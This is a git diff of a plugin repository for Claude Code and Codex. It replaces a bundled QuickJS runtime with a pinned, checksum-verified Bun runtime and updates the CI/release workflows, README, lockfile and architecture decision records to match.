diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 70c2d05..30f7155 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "harness-native-plugin-prototype", - "description": "Prove native plugin distribution with a Bun-authored portable runtime", + "description": "Dependency-closed skills using a verified, plugin-managed Bun runtime", "author": { "name": "Prototype" }, diff --git a/.fallowrc.json b/.fallowrc.json index f620091..9dc916e 100644 --- a/.fallowrc.json +++ b/.fallowrc.json @@ -1,5 +1,4 @@ { "$schema": "https://docs.fallow.tools/config-schema.json", - "entry": ["scripts/*.ts", "runtime/src/bun-proof-adapter.ts", "runtime/src/quickjs-adapter.ts"], - "ignoreDependencies": ["qjs:std"] + "entry": ["scripts/*.ts", "runtime/src/bun-proof-adapter.ts"] } diff --git a/.github/release-please-config.json b/.github/release-please-config.json index da9c7de..99e40ed 100644 --- a/.github/release-please-config.json +++ b/.github/release-please-config.json @@ -24,9 +24,7 @@ { "type": "json", "path": "plugin.config.json", "jsonpath": "$.version" }, { "type": "json", "path": ".claude-plugin/marketplace.json", "jsonpath": "$.metadata.version" }, { "type": "json", "path": "plugin/.claude-plugin/plugin.json", "jsonpath": "$.version" }, - { "type": "json", "path": "plugin/.codex-plugin/plugin.json", "jsonpath": "$.version" }, - { "type": "generic", "path": "plugin/hooks/codex/hooks.json" }, - { "type": "generic", "path": "plugin/runtime/hello-world.js" } + { "type": "json", "path": "plugin/.codex-plugin/plugin.json", "jsonpath": "$.version" } ] } } diff --git a/.github/workflows/plugin-ci.yml b/.github/workflows/plugin-ci.yml index 5567f06..0011bec 100644 --- a/.github/workflows/plugin-ci.yml +++ b/.github/workflows/plugin-ci.yml @@ -16,8 +16,35 @@ concurrency: cancel-in-progress: true jobs: + candidate: + name: Build candidate once + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + with: + bun-version: 1.3.14 + - name: Package the exact workflow commit + env: + SOURCE_COMMIT: ${{ github.sha }} + run: bun run package + - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: runtime-candidate-${{ github.sha }} + overwrite: true + path: | + dist/*.tar.gz + dist/*.checksums.json + if-no-files-found: error + compatibility: name: Compatibility (${{ matrix.target }}) + needs: candidate + permissions: + actions: read + contents: read strategy: fail-fast: false matrix: @@ -36,11 +63,31 @@ jobs: - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 with: bun-version: 1.3.14 - - run: bun run spike:quickjs:ci + - name: Download the single packaged candidate + env: + GH_TOKEN: ${{ github.token }} + run: gh run download "$GITHUB_RUN_ID" --repo "$GITHUB_REPOSITORY" --name "runtime-candidate-${GITHUB_SHA}" --dir "$RUNNER_TEMP/platform-candidate" + - name: Prove packaged runtime custody on this target + shell: bash + run: | + set -euo pipefail + archive=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.tar.gz' -print -quit) + checksums=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.checksums.json' -print -quit) + [[ -n "$archive" && -n "$checksums" ]] + bun run prove:runtime-platform -- \ + --archive "$archive" \ + --checksums "$checksums" \ + --target "${{ matrix.target }}" \ + --fixture-acknowledged package: name: Deterministic package - needs: compatibility + needs: + - candidate + - compatibility + permissions: + actions: read + contents: read runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 @@ -49,20 +96,36 @@ jobs: bun-version: 1.3.14 - name: Install pinned native marketplace CLIs run: bun add --global "@anthropic-ai/claude-code@2.1.222" "@openai/codex@0.146.1" + - name: Download the platform-proven candidate + env: + GH_TOKEN: ${{ github.token }} + run: gh run download "$GITHUB_RUN_ID" --repo "$GITHUB_REPOSITORY" --name "runtime-candidate-${GITHUB_SHA}" --dir "$RUNNER_TEMP/platform-candidate" - run: bun run generate:check - run: bun test - - run: bun run prove:harness-install -- --require-native + - run: bun run prove:harness-install -- --require-native --fixture-acknowledged - run: bun run release:validate - run: bun run prove:distribution - run: bun run prove:dx - - name: Prove generated runtime was merged with its source - run: git diff --exit-code -- plugin/runtime/hello-world.js + - name: Compare the rebuilt package with the platform-proven candidate + shell: bash + run: | + set -euo pipefail + candidate_archive=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.tar.gz' -print -quit) + candidate_checksums=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.checksums.json' -print -quit) + rebuilt_archive=$(find dist -maxdepth 1 -name '*.tar.gz' -print -quit) + rebuilt_checksums=$(find dist -maxdepth 1 -name '*.checksums.json' -print -quit) + [[ -n "$candidate_archive" && -n "$candidate_checksums" && -n "$rebuilt_archive" && -n "$rebuilt_checksums" ]] + cmp --silent "$candidate_archive" "$rebuilt_archive" + cmp --silent "$candidate_checksums" "$rebuilt_checksums" + - name: Prove generated payload was merged with its sources + run: git diff --exit-code -- plugin/ - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: agent-plugin-${{ github.sha }} + overwrite: true path: | - dist/*.tar.gz - dist/*.checksums.json + ${{ runner.temp }}/platform-candidate/*.tar.gz + ${{ runner.temp }}/platform-candidate/*.checksums.json if-no-files-found: error attest: @@ -71,6 +134,7 @@ jobs: needs: package runs-on: ubuntu-24.04 permissions: + actions: read contents: read id-token: write attestations: write diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index f647033..ebdcea8 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -325,10 +325,44 @@ jobs: manifest-file: .github/.release-please-manifest.json release-as: ${{ steps.bootstrap-version.outputs.release_as }} + candidate: + name: Build release candidate once + if: needs.resolve.outputs.mode == 'publish' || needs.resolve.outputs.mode == 'repair' + needs: resolve + permissions: + actions: read + contents: read + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ needs.resolve.outputs.candidate_sha }} + persist-credentials: false + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 + with: + bun-version: 1.3.14 + - name: Package the resolved release candidate + env: + SOURCE_COMMIT: ${{ needs.resolve.outputs.candidate_sha }} + run: bun run package + - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: release-platform-candidate-${{ github.run_id }} + overwrite: true + path: | + dist/*.tar.gz + dist/*.checksums.json + if-no-files-found: error + compatibility: name: Release compatibility (${{ matrix.target }}) if: needs.resolve.outputs.mode == 'publish' || needs.resolve.outputs.mode == 'repair' - needs: resolve + needs: + - resolve + - candidate + permissions: + actions: read + contents: read strategy: fail-fast: false matrix: @@ -349,14 +383,34 @@ jobs: - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 with: bun-version: 1.3.14 - - run: bun run spike:quickjs:ci + - name: Download the single packaged candidate + env: + GH_TOKEN: ${{ github.token }} + ARTIFACT_NAME: release-platform-candidate-${{ github.run_id }} + run: gh run download "$GITHUB_RUN_ID" --repo "$GITHUB_REPOSITORY" --name "$ARTIFACT_NAME" --dir "$RUNNER_TEMP/platform-candidate" + - name: Prove packaged runtime custody on this target + shell: bash + run: | + set -euo pipefail + archive=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.tar.gz' -print -quit) + checksums=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.checksums.json' -print -quit) + [[ -n "$archive" && -n "$checksums" ]] + bun run prove:runtime-platform -- \ + --archive "$archive" \ + --checksums "$checksums" \ + --target "${{ matrix.target }}" \ + --fixture-acknowledged package: name: Prove release candidate if: needs.resolve.outputs.mode == 'publish' || needs.resolve.outputs.mode == 'repair' needs: - resolve + - candidate - compatibility + permissions: + actions: read + contents: read runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 @@ -367,14 +421,29 @@ jobs: bun-version: 1.3.14 - name: Install pinned native marketplace CLIs run: bun add --global "@anthropic-ai/claude-code@2.1.222" "@openai/codex@0.146.1" + - name: Download the platform-proven release candidate + env: + GH_TOKEN: ${{ github.token }} + ARTIFACT_NAME: release-platform-candidate-${{ github.run_id }} + run: gh run download "$GITHUB_RUN_ID" --repo "$GITHUB_REPOSITORY" --name "$ARTIFACT_NAME" --dir "$RUNNER_TEMP/platform-candidate" - name: Validate and prove release payload env: SOURCE_COMMIT: ${{ needs.resolve.outputs.candidate_sha }} run: | bun run prove:all - bun run prove:distribution + - name: Compare the rebuilt package with the platform-proven candidate + shell: bash + run: | + set -euo pipefail + candidate_archive=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.tar.gz' -print -quit) + candidate_checksums=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.checksums.json' -print -quit) + rebuilt_archive=$(find dist -maxdepth 1 -name '*.tar.gz' -print -quit) + rebuilt_checksums=$(find dist -maxdepth 1 -name '*.checksums.json' -print -quit) + [[ -n "$candidate_archive" && -n "$candidate_checksums" && -n "$rebuilt_archive" && -n "$rebuilt_checksums" ]] + cmp --silent "$candidate_archive" "$rebuilt_archive" + cmp --silent "$candidate_checksums" "$rebuilt_checksums" - name: Reject generated release-surface drift - run: git diff --exit-code -- plugin/runtime/hello-world.js plugin/hooks/codex/hooks.json + run: git diff --exit-code -- plugin/ - name: Bind checksum metadata to candidate env: CANDIDATE_SHA: ${{ needs.resolve.outputs.candidate_sha }} @@ -382,7 +451,7 @@ jobs: VERSION: ${{ needs.resolve.outputs.version }} run: | set -euo pipefail - checksums=$(find dist -maxdepth 1 -name '*.checksums.json' -print -quit) + checksums=$(find "$RUNNER_TEMP/platform-candidate" -maxdepth 1 -name '*.checksums.json' -print -quit) [[ -n "$checksums" ]] checksums_repository=$(jq -er .repository "$checksums") checksums_repository_identity=$(bun -e 'import { canonicalGitHubRepositoryIdentity } from "./scripts/release-validate.ts"; process.stdout.write(canonicalGitHubRepositoryIdentity(process.argv.at(-1) ?? ""))' "$checksums_repository") @@ -402,8 +471,8 @@ jobs: name: release-candidate-${{ github.run_id }} overwrite: true path: | - dist/*.tar.gz - dist/*.checksums.json + ${{ runner.temp }}/platform-candidate/*.tar.gz + ${{ runner.temp }}/platform-candidate/*.checksums.json if-no-files-found: error release: diff --git a/README.md b/README.md index b4cd0db..989cc8d 100644 --- a/README.md +++ b/README.md @@ -3,13 +3,13 @@ Build one Git-distributed plugin for Claude Code and Codex. - Share skills and portable runtime behavior. -- Keep native manifests, hooks, trust, and reload behavior separate. +- Keep native manifests and reload behavior separate. - Author in Bun and TypeScript. -- Execute offline through bundled QuickJS runtimes. +- Execute dependency-closed bundles through one verified, plugin-managed Bun runtime. - Publish from GitHub Releases, not npm. - Develop through each harness's native plugin workflow. -Consumers need Claude Code or Codex and Git access to the repository. They do not need Bun, Node.js, Python, npm, or a post-install download. +Consumers need Claude Code or Codex and Git access to the repository. They do not need a user-managed Bun, Node.js, Python, npm, or a setup command. The first use with a missing runtime requires one approved repair; warm use works offline. The operator verification recipes also use a POSIX shell, `jq`, `awk`, and `diff`. @@ -170,7 +170,9 @@ diff -qr "$PREFLIGHT_ROOT/repository/plugin" "$INSTALLED_PATH" jq -e '.installed[] | select(.pluginId == "PLUGIN_NAME@PLUGIN_NAME" and .version == "X.Y.Z")' "$PREFLIGHT_ROOT/codex-plugins-after-add.json" ``` -Start an isolated inspection task with `codex -C "$PREFLIGHT_ROOT"`. Keep hooks skipped while they are untrusted. Open `/hooks`, compare the exact definitions and installed executable closure with the preflight checkout, then accept trust only for that definition. Plugin enablement and hook trust are separate states. Start a second fresh task after trust review and repeat the version and byte checks. +Start an isolated task with `codex -C "$PREFLIGHT_ROOT"` and invoke one installed skill. A missing runtime returns `BUN_MISSING` without mutation. The agent previews the verified repair, asks for approval in plain language, runs `runtime/runtime-exec repair --apply` only after approval, and retries the skill. No lifecycle hook or manual setup command is involved. + +For a release qualification, keep three bounded task receipts private under `$XDG_STATE_HOME/agent-plugin-template/runtime-custody/` (defaulting `XDG_STATE_HOME` to `~/.local/state`): `claude-cli--.json`, `codex-cli--.json`, and `codex-desktop--.json`. Each receipt records the repository, candidate commit, plugin version, target, runtime-lock digest, bundle-inventory digest, payload digest, and the real `BUN_MISSING` → preview → approved repair → retry journey. The CLI receipts must come from fresh agent tasks; direct launcher execution from `prove:harness-install` is installed-payload mechanics evidence and explicitly does not claim agent workflow proof. Set `humanApprovalClaimed: true` only on receipts created from an actual interaction after the person approves; automated platform and fixture receipts must say `humanApprovalClaimed: false`. The reviewer who approves the protected `release` environment verifies these candidate-bound receipts. Store only their digests and pass/fail conclusions in release notes, never the private raw receipts. The replacement recipe below preserves the marketplace source, ref, and prior `enabled` state. Remove the pinned marketplace entry only after target and restoration preflights pass. @@ -246,7 +248,7 @@ codex plugin list --json > "$PREFLIGHT_ROOT/codex-plugins-restored.json" Verify the restored source, ref, version, cache bytes, and enabled state. Codex CLI currently has no documented plugin enable/disable subcommand; restore a differing enabled state in the Codex plugin settings and confirm it with `codex plugin list --json` before continuing. -For the target install, start an isolated task with hooks skipped, review `/hooks`, restore the prior enabled state, then start a second fresh task. A version, hook command, launcher, runtime, or QuickJS executable change invalidates prior hook trust and requires another review. +For the target install, start a fresh isolated task, confirm skill discovery, and exercise the missing-runtime repair/retry journey when the reviewed Bun identity changed. A new Bun version plus executable digest requires fresh approval; archive-only metadata changes do not change the approved runtime identity. `codex plugin marketplace upgrade PLUGIN_NAME` is the documented explicit CLI operation for refreshing the configured Git snapshot. A pinned immutable tag should resolve to the same bytes. Automatic Codex marketplace refresh is unspecified; never rely on it to move or restore a release. @@ -290,26 +292,26 @@ Codex plugins are cached rather than loaded directly from the checkout. The comm After an edit, rerun the command and start a fresh task. This is reinstall-and-restart, not hot reload. -Do not symlink or sync only `skills/` into harness-global directories. That bypasses the manifests, hooks, runtime assets, cache identity, and installation boundary being tested. +Do not symlink or sync only `skills/` into harness-global directories. That bypasses the manifests, launchers, runtime custody, cache identity, and installation boundary being tested. ## Add plugin behavior -Keep portable command logic under `runtime/src/`. Keep the QuickJS I/O adapter small. Add harness behavior through the native manifest or hook file for that Harness. +Keep portable command logic under `runtime/src/`. Add dependency-bearing skills as isolated workspace members, then register them in the one logical skill catalog and regenerate the closed bundles and launchers. ```text plugin/ ├── .claude-plugin/plugin.json ├── .codex-plugin/plugin.json -├── skills/hello-world/SKILL.md -├── hooks/ -│ ├── claude/hooks.json -│ └── codex/hooks.json -├── bin/hello-world -├── QUICKJS-LICENSE +├── skills/{hello-world,runtime-custody,skill-a,skill-b}/SKILL.md +├── bin/{hello-world,skill-a,skill-b} +├── THIRD-PARTY-NOTICES.md └── runtime/ + ├── runtime-exec + ├── runtime-lock.sh + ├── skill-catalog.sh + ├── bundle-inventory.{json,sh} ├── hello-world.js - ├── quickjs-assets.json - └── qjs-{darwin,linux}-{arm64,x86_64} + └── skill-{a,b}-.js ``` Both marketplace catalogs point at `./plugin`. Development staging, Git installation, packaging, and distribution proof all start from that subtree. Repository scripts, TypeScript source, Git metadata, and development state cannot enter the installed payload. @@ -317,20 +319,20 @@ Both marketplace catalogs point at `./plugin`. Development staging, Git installa The portable process seam is: ```text -arguments + complete stdin + invocation identity +skill id + arguments + invocation identity -> stdout + stderr + exit code ``` | Area | Shared | Claude Code | Codex | | --- | --- | --- | --- | | Skills | Portable Agent Skills content | `/PLUGIN:SKILL` invocation and Claude extensions | `$SKILL` invocation and Codex extensions | -| Runtime | Generated JavaScript, launcher, and QuickJS assets | Executes the shared launcher | Executes the shared launcher | +| Runtime | Closed bundles, generated launchers, and one Bun custody engine | Executes the shared launcher | Executes the shared launcher | | Manifest | Plugin identity only | Claude-native manifest | Codex-native manifest | -| Hooks | Command implementation only | Claude-native declarations, matching, and handlers | Codex-native declarations, matching, and trust | +| Lifecycle hooks | None | None | None | | Development refresh | Source and payload | Direct checkout plus `/reload-plugins` | Staged reinstall plus a fresh task | | Harness-only features | Nothing by default | Keep Claude-only components native | Keep Codex-only components native | -Use [CONTEXT.md](CONTEXT.md) for canonical language. The architecture rationale lives in the ADRs for [one payload with native adapters](docs/adr/0001-one-payload-native-harness-adapters.md) and [Bun-authored QuickJS execution](docs/adr/0002-bun-authoring-quickjs-runtime.md). +Use [CONTEXT.md](CONTEXT.md) for canonical language. The architecture rationale lives in the ADRs for [one payload with native adapters](docs/adr/0001-one-payload-native-harness-adapters.md), [shared runtime custody](docs/adr/0005-shared-runtime-custody.md), [one Bun runtime](docs/adr/0006-single-bun-runtime-tier.md), and [closed workspace bundles](docs/adr/0007-workspace-authoring-bundled-distribution.md). ## Pull requests and CI @@ -338,7 +340,7 @@ Use a Conventional Commit PR title. The title becomes the normal PR's squash com ```text feat: add a portable command -fix(claude): correct hook matching +fix(runtime): correct custody routing docs: clarify private installation ``` @@ -355,7 +357,7 @@ bun run release:validate bun run prove:all ``` -Hosted CI runs QuickJS natively on Linux x64, Linux arm64, macOS arm64, and macOS x64. It then creates the deterministic archive and `*.checksums.json`. The checksums JSON contains `repository`, `sourceCommit`, `tag`, `plugin`, `version`, `archive`, `archiveBytes`, `archiveSha256`, and an `evidence` note. It is integrity evidence for the named archive bytes, not independent publisher or builder authenticity. Public `main` artifacts receive GitHub artifact attestation. User-owned private repositories retain the checksums JSON and skip the unsupported attestation job. +Hosted CI builds one candidate, then on Linux x64, Linux arm64, macOS arm64, and macOS x64 acquires the locked Bun asset through `repair --apply` into isolated state, runs a packaged skill, and proves warm reuse with custody network denied. It then creates the deterministic archive and `*.checksums.json`. The checksums bind the source commit, archive, runtime lock, bundle inventory, and payload inventory. They are integrity evidence for the named bytes, not independent publisher or builder authenticity. Public `main` artifacts receive GitHub artifact attestation. User-owned private repositories retain the checksums JSON and skip the unsupported attestation job. ### Optional Codex review gate @@ -484,11 +486,11 @@ Release machinery is based on [Release Please](https://github.com/googleapis/rel - `bun test`: initializer, metadata, CLI, release, development, and canary contracts. - `bun run generate:check`: generated manifests match `plugin.config.json`. -- `bun run build`: regenerate portable JavaScript. -- `bun run spike:quickjs`: compare Bun and QuickJS behavior on the current platform. -- `bun run prove:distribution`: build twice, compare bytes, extract offline, verify interpreter digests, and run both harness command contracts. +- `bun run build`: regenerate the Bun hello-world bundle, workspace bundles, notices, and inventory. +- `bun run prove:runtime-custody`: exercise missing, repair, corruption, concurrency, hostile-environment, and pass-through behavior. +- `bun run prove:runtime-platform -- --target `: acquire the reviewed target asset, execute the packaged skill, and prove warm offline reuse. +- `bun run prove:distribution`: build twice, compare package bytes, extract the payload, prove Bun-only closure, and verify cold read-only guidance. - `bun run prove:dx`: verify canonical marketplace paths and native development boundaries. -- `bun run prove:quickjs-ci`: reproduce runtime, distribution, matrix, pinning, and attestation CI checks. - `bun run prove:all`: complete local gate. ## Public and private canaries @@ -513,9 +515,13 @@ These canaries prove this repository's Git publishing transport and native Git-m ## Current boundaries - macOS arm64/x64 and Linux arm64/x64 only. -- QuickJS NG `0.16.1` is checksum-pinned in the payload. -- A future dependency on `Bun.*`, `node:*`, native addons, or unsupported Web APIs requires a fresh runtime decision and compatibility proof. +- The locked x64 baseline assets support AVX-capable CPUs for this Bun 1.3.14 + candidate. Older no-AVX x64 hosts are outside the support boundary; custody + executes `bun --version` before publication and refuses an unusable binary. +- Bun is pinned by version and per-target archive/executable digests; users do not install or pin it themselves. +- Publisher-reviewed bundles and dependencies execute with the user's normal Bun and OS capabilities. This is not a sandbox or an untrusted-plugin runtime. +- The build rejects native addons, statically visible computed loaders and direct `eval`/`Function` use, undeclared assets, and runtime package installation. These are deterministic bundle-hygiene checks, not adversarial capability confinement; publisher review owns indirect or obfuscated code, and architecture-layer isolation owns untrusted code (ADR 0006). - Claude reloads a direct development plugin in the existing session. Codex needs a staged reinstall and fresh task. -- Hook declarations stay physically separate. A shared default `hooks/hooks.json` previously caused cross-harness auto-discovery. +- Runtime lifecycle hooks, prewarm, doctor, inventory, and prune commands are intentionally absent. - Managed, workspace-installed, or non-removable plugins require administrator replacement or rollback. -- Vendor plugin specifications change. Recheck the linked official documentation when manifests, hooks, trust, or reload behavior changes. +- Vendor plugin specifications change. Recheck the linked official documentation when manifests, discovery, installation, or reload behavior changes. diff --git a/bun.lock b/bun.lock new file mode 100644 index 0000000..02fef7b --- /dev/null +++ b/bun.lock @@ -0,0 +1,36 @@ +{ + "lockfileVersion": 1, + "configVersion": 1, + "workspaces": { + "": { + "name": "agent-plugin-template-tooling", + }, + "packages/skill-a": { + "name": "skill-a", + "version": "0.0.0", + "dependencies": { + "camelcase": "8.0.0", + "ms": "2.1.3", + }, + }, + "packages/skill-b": { + "name": "skill-b", + "version": "0.0.0", + "dependencies": { + "kleur": "4.1.5", + "ms": "2.1.3", + }, + }, + }, + "packages": { + "camelcase": ["camelcase@8.0.0", "", {}, "sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA=="], + + "kleur": ["kleur@4.1.5", "", {}, "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ=="], + + "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], + + "skill-a": ["skill-a@workspace:packages/skill-a"], + + "skill-b": ["skill-b@workspace:packages/skill-b"], + } +} diff --git a/bunfig.toml b/bunfig.toml new file mode 100644 index 0000000..b7708b3 --- /dev/null +++ b/bunfig.toml @@ -0,0 +1,7 @@ +# Dependency custody: pnpm-style isolated linking rejects phantom dependencies, +# and lifecycle scripts never run because no dependency is trusted. +# CI-facing installs stay frozen via `bun install --frozen-lockfile` in +# scripts/build.ts; the lockfile is bun.lock, pinned with packageManager. +[install] +linker = "isolated" +ignoreScripts = true diff --git a/docs/adr/0002-bun-authoring-quickjs-runtime.md b/docs/adr/0002-bun-authoring-quickjs-runtime.md index b796643..cfa8655 100644 --- a/docs/adr/0002-bun-authoring-quickjs-runtime.md +++ b/docs/adr/0002-bun-authoring-quickjs-runtime.md @@ -1,3 +1,9 @@ # Author with Bun and execute with bundled QuickJS +## Status + +Superseded by ADR 0006 on 2026-08-06. This file preserves the original spike +rationale only; no active payload, launcher, proof, or release workflow uses +QuickJS. + Contributors use Bun and TypeScript, while each Plugin Payload includes generated standards-oriented JavaScript and checksum-pinned QuickJS executables for consumer execution. This avoids npm, post-install downloads, and requiring a contributor runtime on recipient machines; it also keeps the four-target release far smaller than bundling Bun into every executable. Dependencies on Bun, Node.js, native addons, or unsupported Web APIs reopen this decision and require compatibility proof. diff --git a/docs/adr/0004-category-3-runtime-distribution.md b/docs/adr/0004-category-3-runtime-distribution.md new file mode 100644 index 0000000..56a0e7c --- /dev/null +++ b/docs/adr/0004-category-3-runtime-distribution.md @@ -0,0 +1,213 @@ +# Two runtime tiers: QuickJS-sandboxed and Bun-OS-integrated + +## Status + +Superseded by ADR 0006 (2026-08-06). This ADR recommended two runtime tiers +(QuickJS-sandboxed default, Bun-OS-integrated escalation). ADR 0006 collapses +that to a single Bun tier once the deciding factors were settled: the plugins +are first-party and self-hosted (so QuickJS's by-construction sandbox is +low-value), isolation belongs at the architecture layer (container/VM/agent +sandbox) rather than the plugin runtime, and the measured bootstrap cost is +small. The evidence sections below (QuickJS host-global ceiling, bundler +parity, measured bootstrap cost, Bun/Python facts) remain accurate and are +cited by 0006; only the two-tier *decision* is superseded. + +## Context + +This template ships plugins whose payload runs under an embedded QuickJS-NG +interpreter (see ADR 0001, ADR 0002). QuickJS keeps the payload tiny +(~1.3 MB per platform), offline, and zero-install: consumers need no Bun, +Node.js, npm, or post-install download. + +A question arose: can a plugin built on these rails import arbitrary npm +libraries, and can an OS-integrated tool (one that spawns processes, opens +sockets, and touches the filesystem — for example a Chrome-driving browser +automation tool) be distributed the same way? + +### Evidence (throwaway spikes) + +Three spikes settled the mechanics. Prototype code lived in a scratch +directory, out of this repo; only the conclusions are recorded here. + +- **npm under QuickJS.** Eight libraries were bundled through this + template's exact `Bun.build({ target: "browser", format: "esm", + external: ["qjs:std"] })` settings and run under the real `qjs` binary. + All eight bundled. Pure-ECMAScript libraries (`ms`, `zod`, `date-fns`, + `lodash-es`, `picocolors`, `chalk`, `picomatch`, `eventemitter3`) ran. + `nanoid` and `uuid` failed with `ReferenceError: crypto is not defined` + — a missing host global, not a bundling failure. A two-line + `crypto.getRandomValues` shim made both run. +- **Bundler is not the ceiling.** The same libraries were bundled through + Bun, esbuild, and Rollup (the last with `@rollup/plugin-node-resolve` + + `commonjs`). All three produced identical run/fail outcomes with the same + errors. The ceiling is what QuickJS-NG 0.16.1 provides as host globals, + not how the code is packaged. +- **OS-integrated code cannot run on QuickJS at all.** An audit of a real + browser-automation tool found effectively zero external npm dependencies + but heavy Node built-in use: `node:child_process`, `node:net`, + `node:http`, `node:fs`/`fs/promises`, `node:crypto`, `node:os`. Process + spawning and sockets have no host to shim to in QuickJS. Such a tool + requires a Node-API-capable runtime, full stop. + +### Two runtime tiers, not three categories + +An earlier framing split plugins into three categories: pure logic, pure-JS +npm with shims, and OS-integrated. But the first two run on the **same +runtime** (QuickJS) and differ only by whether a host-shim layer is present. +A shim is an in-tier detail, not an architectural fork. The real fork is a +single question: **does the plugin need to touch the operating system +(spawn a process, open a socket, read the filesystem at OS depth)?** + +That yields two tiers: + +- **QuickJS-sandboxed tier.** Pure ECMAScript logic and pure-JS npm + libraries, the latter running once a small host-shim layer supplies the + Web globals QuickJS lacks (`crypto.getRandomValues`, `TextEncoder`/ + `TextDecoder`, timers). Tiny (~1.3 MB in-artifact interpreter), offline, + zero-install, deterministic, and — decisively — **incapable of spawning + processes or opening sockets by construction**. That inability is a + security property, not a limitation: a QuickJS-tier plugin physically + cannot exfiltrate data or shell out regardless of its code. +- **Bun-OS-integrated tier.** Anything that spawns processes, opens + sockets, or uses the filesystem at OS depth. Requires a real Node-API + runtime; QuickJS is impossible. Heavier (a ~60–90 MB Bun), needs the + runtime bootstrapped or embedded, and carries the full power (and full + trust surface) of the host. + +### Why not run everything on the Bun tier + +Bun's capability is a strict superset, so "put everything on Bun" is +tempting. It is rejected because the tiers are a **cost ladder**, and most +plugins should sit on the lowest rung that does the job: + +- **Payload.** Forcing every plugin onto Bun replaces a ~1.3 MB in-artifact + interpreter with a ~60–90 MB runtime per consumer — absurd for a plugin + that transforms text, and a distribution burden across a marketplace of + small plugins. +- **Offline and trust.** The QuickJS tier is zero-install and fully offline + the moment the reviewed payload lands. The Bun tier must fetch and execute + a runtime binary on first use: a network dependency and a new trust + decision. Only workloads that need OS access should pay that. +- **Sandbox.** The QuickJS tier cannot reach the network or filesystem. + Moving a trivial plugin to Bun hands it that power for no benefit. Keeping + "this plugin *cannot* touch the OS" is worth preserving for most of the + ecosystem. + +Pick the QuickJS tier by default; escalate to the OS-integrated tier (Bun +or Python) only for the minority of plugins that genuinely need OS access. + +## Decision + +Keep QuickJS as the default runtime tier (pure logic, plus pure-JS npm via +an in-tier host-shim layer). It is the best fit for the zero-install, tiny, +offline, sandboxed goal, and no bundler change or shim removes its ceiling. + +For the Bun-OS-integrated tier, distribute on the **same Git-marketplace +rails** (candidate SHA binding, safe payload inventory, `*.checksums.json`, +hosted canaries, harness install proof — all runtime-agnostic) but +**bootstrap the runtime on first run** rather than embedding it or requiring +it as a prerequisite. + +The plugin payload stays small: bundled code plus a launcher. On first use +the launcher resolves a pinned, checksum-verified runtime into a cache +directory (reusing an already-present runtime when present), then runs the +payload on it. A doctor command reports and repairs runtime custody. The +runtime is Bun or Python, chosen by what the tool is written in (see below). + +### Alternatives considered + +- **Embed the runtime** (`bun build --compile`): a self-contained + ~60–90 MB per-platform binary. True zero-install and offline, but a ~50× + payload increase. Rejected as the default: the size cost is disproportionate + for the common case, though it remains available where strict offline-first + outweighs size. +- **Require the runtime** as a documented prerequisite ("you need Bun"): + smallest artifact, zero overhead when the runtime is already present, but + it pushes an explicit install step onto the user and fails offline for a + runtime-less machine. Reasonable when the audience is known to have the + runtime (developer tools; Python where a system `python3` already exists); + the opt-out, not the default. +- **Bootstrap on first run** (chosen default): small payload, near-full + capability, a one-time pinned fetch. Measured cost is small — a Bun + bootstrap is ~22 MB downloaded, ~60 MB cached, and **~3.3 s wall-clock** + cold (download + unzip + first run), incurred once and then a cache hit + for every later OS-integrated plugin at the same pinned version. That + three-second, invisible warm-up beats making the user find and install a + runtime, and it works on any machine, developer or not, with no + prerequisite and no dependency fight. It composes patterns this repo + already owns — the `quickjs-assets.json` checksum-pinned per-platform + binary manifest and the warm-Chrome fetch/detect/pin/cache/repair/doctor + state machine — so it adds little new machinery. + +### The OS-integrated runtime is itself a choice: Bun vs Python + +The Bun-OS-integrated tier is named for Bun, but the tier is really "a real +OS-capable runtime," and Bun is not the only candidate. **Python** is a +first-class alternative: much OS-integration and agent/automation tooling is +already written in it, and for a Python-authored tool, bootstrapping a pinned +Python (or `uv`) is the natural custody path rather than translating to Bun. + +The tier's decision (bootstrap on first run, on the same rails) is +**runtime-agnostic**: the pinned-binary manifest, checksum gate, cache, and +self-proving bootstrap check work identically whether the resolved runtime is +Bun or a Python/`uv` toolchain. So the OS-integrated tier splits into a 